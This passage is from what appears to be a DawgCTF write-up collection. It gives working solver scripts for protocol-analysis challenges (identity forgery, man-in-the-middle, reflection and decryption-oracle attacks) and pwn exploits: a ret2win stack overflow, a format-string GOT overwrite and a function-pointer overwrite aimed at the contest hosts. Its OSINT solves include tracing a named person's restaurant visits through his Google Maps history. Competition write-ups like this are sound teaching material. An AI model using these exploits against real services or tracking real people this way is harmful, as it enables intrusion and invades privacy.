int base = mask * n; for (int j = 1; j < n; ++j) { if (!(mask & (1 << (j - 1)))) continue; int cur = dp[base + j]; if (cur == INF) continue; int rem = (states - 1) ^ mask; while (rem) { int bit = rem & -rem; int k = __builtin_ctz((unsigned)bit) + 1; int& nxt = dp[((mask | bit) * n) + k]; int cand = cur + a[j][k]; if (cand < nxt) nxt = cand; rem -= bit; } } } int full = states - 1; int ans = INF; for (int j = 1; j < n; ++j) { int cand = dp[full * n + j]; if (cycle) cand += a[j][0]; ans = min(ans, cand); } return ans; } struct Parser { vector nums; string pending; void feed(const string& s) { for (char c : s) { if (c >= '0' && c <= '9') { pending.push_back(c); } else if (!pending.empty()) { nums.push_back(stoi(pending)); pending.clear(); } } } bool has_graph() const { if (nums.empty()) return false; int n = nums[0]; if (n <= 0 || n > 25) return false; return (int)nums.size() >= 1 + n * n; } vector> pop_graph() { int n = nums[0]; vector> a(n, vector(n)); int idx = 1; for (int i = 0; i < n; ++i) { for (int j = 0; j < n; ++j) { a[i][j] = nums[idx++]; } } nums.erase(nums.begin(), nums.begin() + idx); return a; } }; int connect_remote(const char* host, const char* port) { addrinfo hints{}; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; addrinfo* res = nullptr; int rc = getaddrinfo(host, port, &hints, &res); if (rc != 0) { cerr << "getaddrinfo: " << gai_strerror(rc) << "\n"; return -1; } int fd = -1; for (addrinfo* p = res; p; p = p->ai_next) { fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol); if (fd == -1) continue; if (connect(fd, p->ai_addr, p->ai_addrlen) == 0) break; close(fd); fd = -1; } freeaddrinfo(res); return fd; } int main(int argc, char** argv) { bool cycle = true; if (argc > 1) { string mode = argv[1]; if (mode == "path") cycle = false; else if (mode != "cycle") { cerr << "usage: " << argv[0] << " [cycle|path]\n"; return 1; } } int fd = connect_remote("nc.umbccd.net", "23456"); if (fd == -1) { cerr << "connect failed\n"; return 1; } Parser parser; char buf[8192]; while (true) { ssize_t nread = recv(fd, buf, sizeof(buf), 0); if (nread <= 0) break; string chunk(buf, buf + nread); cout << chunk << flush; parser.feed(chunk); while (parser.has_graph()) { auto graph = parser.pop_graph(); int ans = tsp(graph, cycle); string out = to_string(ans) + "\n"; ssize_t sent = send(fd, out.data(), out.size(), 0); if (sent < 0) { cerr << "send failed\n"; close(fd); return 1; } cerr << "[sent] " << ans << "\n"; } } close(fd); return 0; } ``` Build and run: ```bash g++ -O3 -std=c++17 remote_solver.cpp -o remote_solver ./remote_solver cycle ``` Flag: `DawgCTF{wh4t_l4ngu4ag3_d1d_y0u_us3?}` *** ## proto ### Protocol Analysis 1: Can You Hear Me? #### Description The local `description.md` only links to the shared Protocol Analysis PDF. In challenge 1, Bob expects a plaintext message with a fixed format: `"Hello", bob, "this is", alice, "give me the flag"` If he receives that message, he replies in plaintext with: `"here it is", [FLAG]` Since there is no authentication or encryption, the attacker can send Bob the expected message directly and read the flag from his response. #### Solution Create a challenge instance, then send Bob the exact content he expects: ```bash curl -sS -X POST 'https://protocols.live/model/1' \ -H 'Content-Type: application/json' \ -d '{}' ``` Example response: ```json {"conn_id":49680248633183} ``` Use that `conn_id` in a request to Bob: ```bash curl -sS -X POST 'https://protocols.live/bob' \ -H 'Content-Type: application/json' \ -d '{"conn_id":49680248633183,"content":"t:Hello|n:bob|t:this is|n:alice|t:give me the flag"}' ``` Response: ```json {"content":"t:here it is|t:DawgCTF{PR0T0C0LS_R_3ZPZ}"} ``` Flag: ``` DawgCTF{PR0T0C0LS_R_3ZPZ} ``` ### Protocol Analysis 2: Liar #### Description Bob only releases the flag if the speaker identifies themself as `charlie`, but Alice’s script says `alice`. The protocol has no authentication, so the attacker can relay Alice’s first message to Bob after changing only the claimed sender name. #### Solution Start a fresh instance for model 2, ask Alice for her first outbound message, replace `n:alice` with `n:charlie`, and forward the modified message to Bob. Bob accepts the forged identity claim and returns the flag. ```python #!/usr/bin/env python3 import json import urllib.request BASE = "https://protocols.live" def post(path: str, payload: dict | None = None) -> dict: data = b"" if payload is None else json.dumps(payload).encode() headers = {} if payload is None else {"Content-Type": "application/json"} req = urllib.request.Request(f"{BASE}{path}", data=data, method="POST", headers=headers) with urllib.request.urlopen(req, timeout=20) as resp: return json.loads(resp.read().decode()) def main() -> None: conn_id = post("/model/2")["conn_id"] alice_msg = post("/alice", {"conn_id": conn_id, "content": ""})["content"] forged = alice_msg.replace("n:alice", "n:charlie", 1) bob_msg = post("/bob", {"conn_id": conn_id, "content": forged})["content"] print(bob_msg.split("|", 1)[1].split(":", 1)[1]) if __name__ == "__main__": main() ``` Recovered flag: ``` DawgCTF{CH4NG3_0F_PL4N5} ``` ### Protocol Analysis 3: Missing #### Description The shared protocol manual shows that for challenge 3, Alice has no actions at all, while Bob only waits for a single plaintext message: `"Hello", B, "this is", A, "give me the flag"` After receiving that message, Bob responds with: `"here it is", [FLAG]` That means there is no authentication, no prior session state from Alice, and no cryptography to bypass. We can create a challenge instance and send Bob the exact message he expects while claiming to be Alice. #### Solution Create a model 3 instance, take the returned `conn_id`, and send Bob this content: `t:Hello|n:bob|t:this is|n:alice|t:give me the flag` Bob returns the flag directly. Solution code: ```python import json import urllib.request base = "https://protocols.live" req = urllib.request.Request(base + "/model/3", data=b"", method="POST") with urllib.request.urlopen(req, timeout=20) as r: conn_id = json.loads(r.read().decode())["conn_id"] msg = { "conn_id": conn_id, "content": "t:Hello|n:bob|t:this is|n:alice|t:give me the flag", } req = urllib.request.Request( base + "/bob", data=json.dumps(msg).encode(), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=20) as r: print(r.read().decode()) ``` Returned response: ```json {"content":"t:here it is|t:DawgCTF{N0_0N3_3LS3_H0M3}"} ``` ### Protocol Analysis 4: Real Security! #### Description Alice sends Bob a symmetric key and nonce in plaintext and asks him to encrypt the flag with them. Because the attacker can read Alice's first message, the attacker also learns the exact key and nonce Bob will use. #### Solution Start a challenge instance, ask Alice for her first outbound message, extract the symmetric key and nonce from that message, forward the exact message to Bob, then decrypt Bob's ciphertext with the provided utility endpoint. ```python import requests base = "https://protocols.live" s = requests.Session() r = s.post(f"{base}/model/4", json={}) r.raise_for_status() conn_id = r.json()["conn_id"] r = s.post(f"{base}/alice", json={"conn_id": conn_id, "content": ""}) r.raise_for_status() alice_msg = r.json()["content"] parts = alice_msg.split("|") key = next(part.split(":", 1)[1] for part in parts if part.startswith("k:")) nonce = next(part.split(":", 1)[1] for part in parts if part.startswith("d:")) r = s.post(f"{base}/bob", json={"conn_id": conn_id, "content": alice_msg}) r.raise_for_status() bob_msg = r.json()["content"] ciphertext = bob_msg.split("|")[-1].split(":", 1)[1] r = s.post( f"{base}/util/sym_decrypt", json={"conn_id": "0", "content": f"k:{key}|d:{nonce}|d:{ciphertext}"}, ) r.raise_for_status() print(r.json()["content"]) ``` This returns: ``` t:DawgCTF{N0T_S0_S3CR3T_K3Y} ``` ### Protocol Analysis 5: Is This Real? #### Description Alice asks Bob to send the flag encrypted under Alice's asymmetric key. Bob checks that the sender name is `alice`, but he does not verify that the supplied public key actually belongs to Alice. #### Solution Generate a fresh asymmetric keypair, obtain Alice's opening message from `/alice`, replace the final key field with our own public key, and forward that forged message to `/bob`. Bob encrypts the flag to our key, and we decrypt it with the matching private key via `/util/asym_decrypt`. Recovered flag: `DawgCTF{C3RT1F13D_1NS3CUR3}` ```python #!/usr/bin/env python3 import json import urllib.request BASE = "https://protocols.live" HEADERS = {"Content-Type": "application/json"} def post(path: str, payload: dict) -> dict: req = urllib.request.Request( BASE + path, data=json.dumps(payload).encode(), headers=HEADERS, ) with urllib.request.urlopen(req, timeout=20) as resp: return json.loads(resp.read().decode()) def parse_keypair(content: str) -> tuple[str, str]: keys = {} label = None for item in content.split("|"): item_type, value = item.split(":", 1) if item_type == "t": label = value elif item_type == "k": keys[label] = value return keys["public"], keys["private"] def main() -> None: conn_id = post("/model/5", {})["conn_id"] alice_msg = post("/alice", {"conn_id": conn_id, "content": ""})["content"] public_key, private_key = parse_keypair( post("/util/gen_asym_key_pair", {"conn_id": 0, "content": ""})["content"] ) forged_msg = "|".join(alice_msg.split("|")[:-1] + [f"k:{public_key}"]) bob_msg = post("/bob", {"conn_id": conn_id, "content": forged_msg})["content"] ciphertext = bob_msg.split("|", 1)[1] flag = post( "/util/asym_decrypt", {"conn_id": 0, "content": f"k:{private_key}|{ciphertext}"}, )["content"] print(flag.removeprefix("t:")) if __name__ == "__main__": main() ``` ### Protocol Analysis 6: Sneedham-Chucker #### Description This challenge is a Needham-Schroeder-style public-key protocol between Sneed and Chuck. The bug is the classic man-in-the-middle issue: Chuck accepts Sneed's encrypted first message as long as it decrypts correctly under Chuck's key, but the protocol does not bind the responder's identity strongly enough to stop relaying through an attacker-controlled keypair. #### Solution Generate an attacker keypair and cert for a harmless name such as `cowboy`. 1. Ask Bob/Chuck for his public key and cert. 2. Send Alice/Sneed the attacker public key and cert. 3. Alice responds with `{nA, pubA, A, certA}` encrypted to the attacker key. Decrypt it to recover `nA` and Sneed's public key. 4. Re-encrypt that exact plaintext to Chuck's public key and forward it to Bob/Chuck. 5. Chuck responds with `{nA, nB}` encrypted to Sneed's public key. Forward it unchanged to Alice/Sneed. 6. Alice replies with `{nB}` encrypted to the attacker key. Decrypt it to recover `nB`. 7. Re-encrypt `nB` to Chuck's public key and send it to Bob/Chuck. 8. Chuck returns the final symmetric ciphertext. The final symmetric parameters are: * Key: `sha256((nA + nB).encode()).hexdigest()` * Nonce: the first 24 hex characters of that key Decrypting yields the flag: `DawgCTF{FORM3RLY_S3CUR3}` Solver: ```python #!/usr/bin/env python3 import hashlib import requests BASE = "https://protocols.live" UTIL = f"{BASE}/util" def post(url: str, content: str = "", conn_id: int = 0) -> str: resp = requests.post(url, json={"conn_id": conn_id, "content": content}, timeout=10) resp.raise_for_status() return resp.json()["content"] def field_value(item: str) -> str: return item.split(":", 1)[1] def solve_once() -> str: keypair = post(f"{UTIL}/gen_asym_key_pair").split("|") pub_x = field_value(keypair[1]) priv_x = field_value(keypair[3]) name_x = "cowboy" cert_x = post(f"{UTIL}/get_cert", f"k:{pub_x}|n:{name_x}") conn_id = requests.post(f"{BASE}/model/6", json={}, timeout=10).json()["conn_id"] bob_hello = post(f"{BASE}/bob", conn_id=conn_id) bob_pub = bob_hello.split("|")[0] alice_msg_1 = post(f"{BASE}/alice", f"k:{pub_x}|n:{name_x}|{cert_x}", conn_id) plain_1 = post(f"{UTIL}/asym_decrypt", f"k:{priv_x}|{alice_msg_1}") n_a = field_value(plain_1.split("|")[0]) bob_msg_1 = post(f"{UTIL}/asym_encrypt", f"{bob_pub}|t:{plain_1}") bob_msg_2 = post(f"{BASE}/bob", bob_msg_1, conn_id) alice_msg_2 = post(f"{BASE}/alice", bob_msg_2, conn_id) plain_2 = post(f"{UTIL}/asym_decrypt", f"k:{priv_x}|{alice_msg_2}") n_b = field_value(plain_2) bob_msg_3 = post(f"{UTIL}/asym_encrypt", f"{bob_pub}|t:{plain_2}") final_ct = field_value(post(f"{BASE}/bob", bob_msg_3, conn_id)) key = hashlib.sha256(f"{n_a}{n_b}".encode()).hexdigest() nonce = key[:24] flag = post(f"{UTIL}/sym_decrypt", f"k:{key}|d:{nonce}|d:{final_ct}") return field_value(flag) def main() -> None: last_error = None for _ in range(5): try: print(solve_once()) return except requests.RequestException as exc: last_error = exc raise SystemExit(f"failed after retries: {last_error}") if __name__ == "__main__": main() ``` ### Protocol Analysis 7: Mediation #### Description Challenge 7 uses this protocol: * Alice sends `pubA, A, certA, nA` * Bob replies with `pubB, B, certB, nB, {B, nB, nA}privB` * Alice later expects `pubX, X, certX, nX, {X, nX, nA}privX` * Alice responds with `{A, nX, nA}privA` * Bob accepts `{A, nB, nA}privA` and sends the flag The flaw is that Bob does not require the second message to come from Bob specifically. He only needs a valid certificate for some identity `X` and a valid signature over `(X, nX, nA)`. That lets an attacker choose `X`, set `nX = nB`, and then use Alice as a signing oracle. Alice will sign `(A, nB, nA)`, which is exactly what Bob wants in the next step. #### Solution Attack flow: 1. Start a challenge instance. 2. Ask Alice for her first message and capture `nA`. 3. Relay that message to Bob and capture `nB`. 4. Generate our own keypair and a valid cert for a non-reserved name such as `mallory`. 5. Sign `n:mallory|d:nB|d:nA` with our private key. 6. Send Alice `pubMallory, mallory, certMallory, nB, {mallory, nB, nA}privMallory`. 7. Alice returns `{alice, nB, nA}privAlice`. 8. Forward that signature to Bob. 9. Bob sends the flag. Full solver: ```python #!/usr/bin/env python3 import json import re import sys import urllib.error import urllib.request BASE = "https://protocols.live" CHAL = 7 ATTACKER_NAME = "mallory" def post(path: str, payload: dict) -> dict: req = urllib.request.Request( BASE + path, data=json.dumps(payload).encode(), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return json.loads(resp.read().decode()) def parse_content(content: str) -> list[tuple[str, str]]: if not content: return [] items = [] for part in content.split("|"): key, value = part.split(":", 1) items.append((key, value)) return items def expect_types(content: str, types: list[str]) -> list[str]: items = parse_content(content) got = [kind for kind, _ in items] if got != types: raise ValueError(f"expected {types}, got {got}: {content}") return [value for _, value in items] def extract_flag(text: str) -> str: match = re.search(r"DawgCTF\{[^}]+\}", text) if not match: raise ValueError(f"flag not found in: {text}") return match.group(0) def main() -> int: instance = post(f"/model/{CHAL}", {}) conn_id = instance["conn_id"] alice_hello = post("/alice", {"conn_id": conn_id, "content": ""})["content"] _pub_a, _alice_name, _cert_a, n_a = expect_types(alice_hello, ["k", "n", "d", "d"]) bob_reply = post("/bob", {"conn_id": conn_id, "content": alice_hello})["content"] _pub_b, _bob_name, _cert_b, n_b, _bob_sig = expect_types( bob_reply, ["k", "n", "d", "d", "d"] ) keypair = post("/util/gen_asym_key_pair", {"conn_id": conn_id, "content": ""})["content"] _, pub_x, _, priv_x = expect_types(keypair, ["t", "k", "t", "k"]) cert_x = post( "/util/get_cert", {"conn_id": conn_id, "content": f"k:{pub_x}|n:{ATTACKER_NAME}"}, )["content"] (cert_x,) = expect_types(cert_x, ["d"]) sig_x = post( "/util/asym_sign", { "conn_id": conn_id, "content": f"k:{priv_x}|t:n:{ATTACKER_NAME}|d:{n_b}|d:{n_a}", }, )["content"] (sig_x,) = expect_types(sig_x, ["d"]) alice_sig = post( "/alice", { "conn_id": conn_id, "content": f"k:{pub_x}|n:{ATTACKER_NAME}|d:{cert_x}|d:{n_b}|d:{sig_x}", }, )["content"] (alice_sig,) = expect_types(alice_sig, ["d"]) flag_reply = post("/bob", {"conn_id": conn_id, "content": f"d:{alice_sig}"})["content"] (flag_text,) = expect_types(flag_reply, ["t"]) flag = extract_flag(flag_text) print(flag) return 0 if __name__ == "__main__": try: raise SystemExit(main()) except (KeyError, ValueError, urllib.error.URLError) as exc: print(f"error: {exc}", file=sys.stderr) raise SystemExit(1) ``` Recovered flag: ``` DawgCTF{F33L1NG_1NS3CUR3} ``` ### Protocol Analysis 8: Reflection #### Description The challenge references the shared protocol-analysis PDF. For challenge 8, the protocol is: Alice: * `send: pubA, A, certA` * `recv: pubX, X, certX, nX1` * `send: nA, {X, nX1, nA}privA` * `recv: nX2, {A, nA, nX2}privX` Bob: * `send: pubB, B, certB` * `recv: pubA, A, certA, nA` * `send: nB, {A, nA, nB}privB` * `recv: nA2, {A, nB, nA2}privA` * `send: [FLAG]` The mistake is that Alice will sign attacker-chosen identity material in step 3, and Bob will accept a valid Alice signature in his final step. The working transcript is a reflection variant: 1. Start a challenge instance. 2. Receive Alice’s initial message `pubA|alice|certA`. 3. Receive Bob’s initial message `pubB|bob|certB`. 4. Send Bob `pubA|alice|certA|nonce`. 5. Bob responds with `nB|sigB(alice, nonce, nB)`. 6. Send Alice `pubB|bob|certB|nB`. 7. Alice responds with `nA2|sigA(bob, nB, nA2)`. 8. Forward Alice’s response to Bob. 9. Bob sends the flag. The key point is that Bob accepts Alice’s response produced over Bob’s own identity bundle and Bob’s nonce. #### Solution ```python #!/usr/bin/env python3 import requests BASE = "https://protocols.live" def post(session, path, conn_id, content): response = session.post( f"{BASE}{path}", json={"conn_id": conn_id, "content": content}, headers={"Content-Type": "application/json"}, timeout=10, ) response.raise_for_status() return response.json()["content"] def parse_items(content): items = [] for part in content.split("|"): item_type, value = part.split(":", 1) items.append((item_type, value)) return items def solve(): session = requests.Session() conn_id = session.post(f"{BASE}/model/8", timeout=10).json()["conn_id"] alice_hello = post(session, "/alice", conn_id, "") bob_hello = post(session, "/bob", conn_id, "") # Bob expects Alice's identity bundle plus a nonce. bob_step = post(session, "/bob", conn_id, f"{alice_hello}|d:{'00' * 32}") bob_nonce = parse_items(bob_step)[0][1] # Alice signs Bob's identity and Bob's nonce under Alice's private key. alice_step = post(session, "/alice", conn_id, f"{bob_hello}|d:{bob_nonce}") flag = post(session, "/bob", conn_id, alice_step) return flag if __name__ == "__main__": print(solve()) ``` Running the script returned: ``` t:DawgCTF{4SK_4ND_U_SH4LL_R3C31V3} ``` ### Protocol Analysis 9: Oracle #### Description Challenge 9 gives Bob a flag encrypted twice to Alice: `{{FLAG}pubA, B}pubA` Alice will then repeatedly accept messages of the form: `pubX, X, certX, {{m}pubA, X}pubA, A` and answer with: `pubA, A, certA, {{m}pubX, A}pubX` This makes Alice a re-encryption oracle for anything encrypted to `pubA`. #### Solution The attack is a two-step unwrap: 1. Start a fresh instance and ask Alice for her initial message. 2. Forward that message to Bob and capture Bob's ciphertext `{{FLAG}pubA, B}pubA`. 3. Generate an attacker keypair and valid certificate for a non-reserved name such as `mallory`. 4. Wrap Bob's full outer ciphertext as the inner payload of a new message to Alice: `{{ {{FLAG}pubA, B}pubA , mallory }pubA` Alice decrypts Bob's outer layer and re-encrypts the plaintext `d:{FLAG_cipher_for_A}|n:bob` to us. 5. Decrypt Alice's reply with the attacker private key to recover `{FLAG}pubA`. 6. Send that recovered ciphertext back through Alice again, wrapped for `mallory`: `{{ {FLAG}pubA , mallory }pubA` 7. Alice decrypts the flag and re-encrypts it to us. 8. Decrypt the result with the attacker private key and read the flag. Recovered flag: `DawgCTF{ST4R3_1NTO_TH3_VO1D}` Solver used: ```python #!/usr/bin/env python3 import requests BASE = "https://protocols.live" UTIL = f"{BASE}/util" ATTACKER_NAME = "mallory" def split_items(content: str) -> list[str]: return content.split("|") if content else [] def value(item: str, expected_type: str) -> str: prefix = f"{expected_type}:" if not item.startswith(prefix): raise ValueError(f"expected {expected_type}, got {item!r}") return item[len(prefix) :] class Client: def __init__(self) -> None: self.s = requests.Session() def post(self, path: str, content: str, conn_id: int = 0) -> str: r = self.s.post( f"{BASE}{path}", json={"conn_id": conn_id, "content": content}, timeout=15, ) r.raise_for_status() data = r.json() if "content" not in data: raise ValueError(f"missing content in response: {data}") return data["content"] def new_instance(self, chal_no: int) -> int: r = self.s.post(f"{BASE}/model/{chal_no}", timeout=15) r.raise_for_status() return r.json()["conn_id"] def asym_encrypt(self, pubkey: str, plaintext: str) -> str: return value(self.post("/util/asym_encrypt", f"k:{pubkey}|t:{plaintext}"), "d") def asym_decrypt(self, privkey: str, ciphertext: str) -> str: return self.post("/util/asym_decrypt", f"k:{privkey}|d:{ciphertext}") def gen_keypair(self) -> tuple[str, str]: items = split_items(self.post("/util/gen_asym_key_pair", "")) return value(items[1], "k"), value(items[3], "k") def get_cert(self, pubkey: str, name: str) -> str: return value(self.post("/util/get_cert", f"k:{pubkey}|n:{name}"), "d") def parse_message(content: str) -> list[str]: items = split_items(content) if not items: raise ValueError("empty content") return items def main() -> None: c = Client() conn_id = c.new_instance(9) alice_hello = c.post("/alice", "", conn_id) alice_items = parse_message(alice_hello) pub_a = value(alice_items[0], "k") bob_reply = c.post("/bob", alice_hello, conn_id) bob_items = parse_message(bob_reply) bob_outer = value(bob_items[3], "d") pub_x, priv_x = c.gen_keypair() cert_x = c.get_cert(pub_x, ATTACKER_NAME) wrapper1_plain = f"d:{bob_outer}|n:{ATTACKER_NAME}" wrapper1 = c.asym_encrypt(pub_a, wrapper1_plain) msg1 = f"k:{pub_x}|n:{ATTACKER_NAME}|d:{cert_x}|d:{wrapper1}|n:alice" alice_reply1 = c.post("/alice", msg1, conn_id) alice_reply1_items = parse_message(alice_reply1) rewrapped1 = value(alice_reply1_items[3], "d") outer1_plain = c.asym_decrypt(priv_x, rewrapped1) outer1_items = parse_message(outer1_plain) inner_to_x = value(outer1_items[0], "d") bob_plain = c.asym_decrypt(priv_x, inner_to_x) bob_plain_items = parse_message(bob_plain) inner_flag_for_alice = value(bob_plain_items[0], "d") wrapper2_plain = f"d:{inner_flag_for_alice}|n:{ATTACKER_NAME}" wrapper2 = c.asym_encrypt(pub_a, wrapper2_plain) msg2 = f"k:{pub_x}|n:{ATTACKER_NAME}|d:{cert_x}|d:{wrapper2}|n:alice" alice_reply2 = c.post("/alice", msg2, conn_id) alice_reply2_items = parse_message(alice_reply2) rewrapped2 = value(alice_reply2_items[3], "d") outer2_plain = c.asym_decrypt(priv_x, rewrapped2) outer2_items = parse_message(outer2_plain) flag_to_x = value(outer2_items[0], "d") flag = c.asym_decrypt(priv_x, flag_to_x) print(flag) if __name__ == "__main__": main() ``` *** ## pwn ### Stacking Flags #### Description The local challenge only provided a remote host and a link to the source. The source is a 64-bit non-PIE binary compiled without stack canaries: ```c void win() { FILE *fp; char flag[128]; fp = fopen("flag.txt", "r"); ... fgets(flag, sizeof(flag), fp); puts(flag); ... } void vulnerable_function() { char buffer[64]; gets(buffer); } ``` `vulnerable_function()` reads unbounded input into a 64-byte stack buffer with `gets()`, so this is a standard ret2win. #### Solution Because the code was compiled with `-no-pie`, the address of `win()` is fixed. Rebuilding the provided source locally produced: ``` win = 0x4011a6 ``` The stack layout is: * `64` bytes for `buffer` * `8` bytes for saved `rbp` * then the saved return address So the overwrite offset is `72` bytes. Sending `72` junk bytes followed by the little-endian address of `win()` redirects execution into the flag-reading function before `main()` can continue. Exploit: ```python #!/usr/bin/env python3 import socket HOST = "nc.umbccd.net" PORT = 8921 WIN = 0x4011A6 OFFSET = 72 payload = b"A" * OFFSET + WIN.to_bytes(8, "little") + b"\n" with socket.create_connection((HOST, PORT), timeout=10) as sock: sock.sendall(payload) data = bytearray() while True: chunk = sock.recv(4096) if not chunk: break data.extend(chunk) print(data.decode("latin1", "replace")) ``` Running the exploit against the remote service returned: ``` DawgCTF{$taching_br1cks} ``` ### Just Print It #### Description The service reads one line with `fgets()` and passes it directly to `printf()`: ```c fgets(buffer, sizeof(buffer), stdin); printf(buffer); puts("\nGoodbye!"); ``` There is also a hidden `win()` function that opens `flag.txt` and prints it. #### Solution This is a straightforward format-string exploit. Key facts: * The binary is compiled `-no-pie`, so code addresses are fixed. * `puts@GOT` is writable because the binary has partial RELRO. * `win()` already exists, so code execution is unnecessary. * After `printf(buffer)`, the program immediately calls `puts()`. Exploit strategy: 1. Use the format string to overwrite `puts@GOT` with `win()`. 2. Let execution continue normally. 3. The next call to `puts()` jumps to `win()` and prints the flag. On amd64, the input buffer appears at format-string argument offset `6`, so `fmtstr_payload(6, ...)` works directly. Relevant addresses from the locally reproduced binary: * `win = 0x401196` * `puts@got = 0x404000` Exploit code: ```python from pwn import * HOST = "nc.umbccd.net" PORT = 8925 context.binary = ELF("./just_print_it", checksec=False) context.log_level = "info" def build_payload(): elf = context.binary return fmtstr_payload(6, {elf.got["puts"]: elf.symbols["win"]}, write_size="short") def start(): if args.LOCAL: return process(elf.path) return remote(HOST, PORT) elf = context.binary io = start() io.sendline(build_payload()) print(io.recvall(timeout=3).decode("latin-1", "replace")) ``` Running it against the remote service returned: ``` Flag: DawgCTF{s3v3r_PWNed!} ``` ### Stacking Melodies #### Description A music parser/scorer binary with source provided. Connect to `nc.umbccd.net:8929` and exploit vulnerabilities to read the flag. #### Solution The binary has two key vulnerabilities: 1. **Integer signedness bug in `validate_size()`**: Returns `(int)aligned` where `aligned` is `size_t`. Large `uint32_t` values for `d_len` produce negative `int` results, bypassing the `> 2048` check. 2. **Format string vulnerability**: `printf(title)` at line 82 uses user-controlled input as the format string. The heap overflow approach (using `d_len = 0xFFFFFFC0` to make `malloc(d_len + 0x40)` wrap to `malloc(0)`, then overflowing into the adjacent `session_context`) worked locally but failed remotely due to different heap layouts. The format string approach was more reliable: * **Leak `ctx` pointer**: Position 9 on printf's argument list contains the heap address of `ctx` (the `session_context` struct). `ctx->server_logging` is the first field - a function pointer initially set to `log_event`. * **Leak remote `log_event` address**: Using `%9$s` to dereference `ctx` and read the function pointer bytes, revealing remote `log_event = 0x4011e6` (vs local `0x4011d6`). * **Find remote `win` address**: The remote binary differs (e.g., `calculate_rating()` returns `rand()` instead of `0`), shifting addresses. By scanning `%Nc%9$hn` with values around the estimated `win` offset, the correct lower 2 bytes were found: `0x124e`, giving remote `win = 0x40124e`. * **Overwrite function pointer**: `%4686c%9$hn` prints 0x124e characters then writes that count (as uint16\_t) to `*ctx`, overwriting `ctx->server_logging`'s lower 2 bytes from `log_event` to `win`. When `ctx->server_logging("Rating", rating)` executes, it calls `win()` which prints the flag. ```python #!/usr/bin/env python3 from pwn import * import struct MAGIC = 0x564D576E # Format string: print 0x124e = 4686 chars, then %hn write to position 9 (ctx pointer) # This overwrites ctx->server_logging lower 2 bytes to point to win() title = b'%4686c%9$hn' d_len = 8 header = struct.pack('= TIMESTAMP '2023-07-18 06:52:49' AND "Date/Time" <= TIMESTAMP '2023-07-18 06:56:49' GROUP BY 1 ORDER BY first_seen """) for row in rows: print(row) ``` Relevant result: ``` ASA195, 2023-07-18 06:53:23, 2023-07-18 06:53:23, B737, ASA, 34R, D, 1 ``` So the aircraft in the photo was `AS195 / ASA195`, departing `SEA`. Next, use the official BTS July 2023 on-time data, which includes `Tail_Number`: ```bash curl -L -o ontime_2023_7.zip \ 'https://transtats.bts.gov/PREZIP/On_Time_Marketing_Carrier_On_Time_Performance_Beginning_January_2018_2023_7.zip' ``` ```python import csv import io import zipfile with zipfile.ZipFile("ontime_2023_7.zip") as zf: name = zf.namelist()[0] with zf.open(name) as f: reader = csv.DictReader(io.TextIOWrapper(f, newline="")) for row in reader: if ( row["Year"] == "2023" and row["Month"] == "7" and row["DayofMonth"] == "18" and row["Marketing_Airline_Network"] == "AS" and row["Flight_Number_Marketing_Airline"] == "195" and row["Origin"] == "SEA" and row["Dest"] == "FAI" ): print({ "FlightDate": row["FlightDate"], "Origin": row["Origin"], "Dest": row["Dest"], "Tail_Number": row["Tail_Number"], "CRSDepTime": row["CRSDepTime"], "DepTime": row["DepTime"], "ArrTime": row["ArrTime"], }) ``` Output: ``` {'FlightDate': '2023-07-18', 'Origin': 'SEA', 'Dest': 'FAI', 'Tail_Number': 'N609AS', 'CRSDepTime': '0630', 'DepTime': '0635', 'ArrTime': '0906'} ``` That is the exact flight, so the registration is `N609AS`. Flag: ``` DawgCTF{N609AS} ``` ### owo? #### Description Find the ZIP code of the town containing the Pizza Hut shown in the challenge photo. #### Solution The decisive clue was the blue rooster near the sign. Once that was identified as carrying a WVU-style mark, the search narrowed back to West Virginia instead of Pennsylvania or Kentucky. The final match is the Pizza Hut at `444 Virginia Ave, Petersburg, WV 26847`. The Street View pano matches the challenge scene, including the old Pizza Hut pole sign, the fenced utility-style lot, the nearby banner, and the roadside layout. Clean map links: * Place: `https://www.google.com/maps/place/Pizza+Hut,+444+Virginia+Ave,+Petersburg,+WV+26847/` * Street View: `https://www.google.com/maps/@38.9937571,-79.1137107,3a,75y,328.84h,91.83t` Final flag: ``` DawgCTF{26847} ``` ### Andy Martin #### Description We are given an OSINT target, Andy Martin, described as a Londoner who travels a lot, with mention of Mauritius and Portugal. The question asks: Where did he go out to eat in his hometown on Thursday July 12, 2018? #### Solution The solve path was: 1. Identify the correct Andy Martin Google Maps contributor profile. 2. Use the live Google Maps contribution timeline, especially old photos around July 2018, to recover food venues near the target date. 3. Try candidate venue names in the flag format until the accepted place string is confirmed. The key identity pivot was the Google Maps contributor: * `https://www.google.com/maps/contrib/101832575045909613341` This established that the target was a London-area traveler and that the hometown clue should still be interpreted broadly enough to include London venues, not just Bromley/Swanley/Sevenoaks. I also parsed the saved hidden Google ratings dump to understand his historical activity and home-area cluster. This was useful for confirming identity and ruling out some false directions, even though the July 2018 answer itself was not present in the saved dump. Code used to extract dated ratings from `andy_ratings_full.txt`: ```python import json import datetime with open("andy_ratings_full.txt") as f: txt = f.read() if txt.startswith(")]}'\n"): txt = txt.split("\n", 1)[1] data = json.loads(txt) items = [] for idx, card in enumerate(data[45][0]): try: meta = card[2] place = card[4] ts = meta[1][2] dt = datetime.datetime.utcfromtimestamp(ts / 1e6) items.append((dt, place[2], place[3], idx)) except Exception: continue for dt, name, addr, idx in sorted(items): if dt.year == 2018: print(idx, dt.isoformat(), "|", name, "|", addr) ``` That produced early 2018 local activity such as: * `Castle Farm, Kent` * `The Mens Room - Barber Shop Dartford` * `Caffè Nero` in `Sevenoaks` This confirmed the SE London / Kent-border footprint, but there was still no saved July 2018 rating entry for the target meal. The answer instead came from the live Google Maps photo history. Manual review of Andy Martin’s July 2018 Google Maps photos (edit: scrolling down for like 30 minutes while watching youtube) recovered several venues from the period immediately before Portugal travel: * `Nando's Whitechapel` * `Starbucks` * `Costa Coffee` * `Poppies Fish & Chips` * `West Cornwall Food Company Canterbury` From there: * `West Cornwall Food Company Canterbury` looked like a travel/transit stop, not hometown dining. * The generic coffee entries were weak because branch names were unclear. * `Poppies Fish & Chips` was a clean named food venue in London and matched the broad “Londoner / hometown” reading better than the transit stop. Several alternative guesses were tested and rejected, including: * `DawgCTF{whitechapel}` * `DawgCTF{nandos_whitechapel}` * `DawgCTF{poppies}` * `DawgCTF{poppies_fish_and_chips}` The accepted flag preserved the venue’s displayed punctuation and spacing: ``` 